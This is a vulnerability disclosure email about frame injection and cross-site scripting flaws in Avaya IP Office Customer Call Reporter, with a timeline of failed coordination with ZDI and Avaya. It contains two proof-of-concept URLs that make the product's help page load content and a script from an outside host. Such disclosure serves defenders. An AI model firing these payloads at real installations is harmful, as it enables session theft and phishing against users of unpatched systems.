Hello 3APA3A!
I want to warn you about vulnerabilities in Avaya IP Office Customer Call Reporter. These are Remote HTML Include and Remote XSS Include (Cross-Site Scripting) vulnerabilities.
After I found multiple vulnerabilities in Avaya IP Office Customer Call Reporter in December, I informed ZDI about them (critical ones). ZDI was very slow in processing these holes (regardless of my remindings) and only at 30th of July they begun actively working with them. I wrote about this case with ZDI in WASC Mailing List (http://lists.webappsec.org/pipermail/websecurity_lists.webappsec.org/2013-July/008883.html).
When Avaya ignored my informing in July and ZDI stopped working on this case in August (since Avaya was not responding to them also), I published these two vulnerabilities (the least critical). There are many other vulnerabilities, including critical holes which allow to take control over admin panel, so Avaya still has a chance to get details of vulnerabilities in their product before public disclosure.
Vulnerable are Avaya IP Office Customer Call Reporter 8.0.9.13 (tested in December 2012) and 9.0.0.0 (tested recently) and previous versions.
Avaya Inc.
http://www.avaya.com
Remote HTML Include (Frame Injection) (WASC-12):
http://site/CCRWebClient/Help/en-US/index.htm?//websecurity.com.ua
Remote XSS Include (Cross-Site Scripting) (WASC-08):
http://site/CCRWebClient/Help/en-US/index.htm?//websecurity.com.ua/webtools/xss_r2.html
2012.12.06 - found multiple vulnerabilities (these ones and other critical holes).
2012.12.13 - informed ZDI about other critical vulnerabilities.
2012.12.18 - again informed ZDI about other critical vulnerabilities.
2013.01.27 - registered at zerodayinitiative.com and informed them through the site. ZDI started working on the case.
2013.07.28 - informed Avaya (via two contact forms) about these holes and other critical vulnerabilities, due to slowness of ZDI.
2013.07.29 - wrote about ZDI in WASC Mailing List.
2013.07.30 - if earlier ZDI only pretended they work on the case, then this time they started working actively on it (and tried to contact Avaya).
2013.08.07 - ZDI stopped working on the case and closed it, since Avaya was not responding.
2013.08.20 - disclosed at my site (http://websecurity.com.ua/6717/).
Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua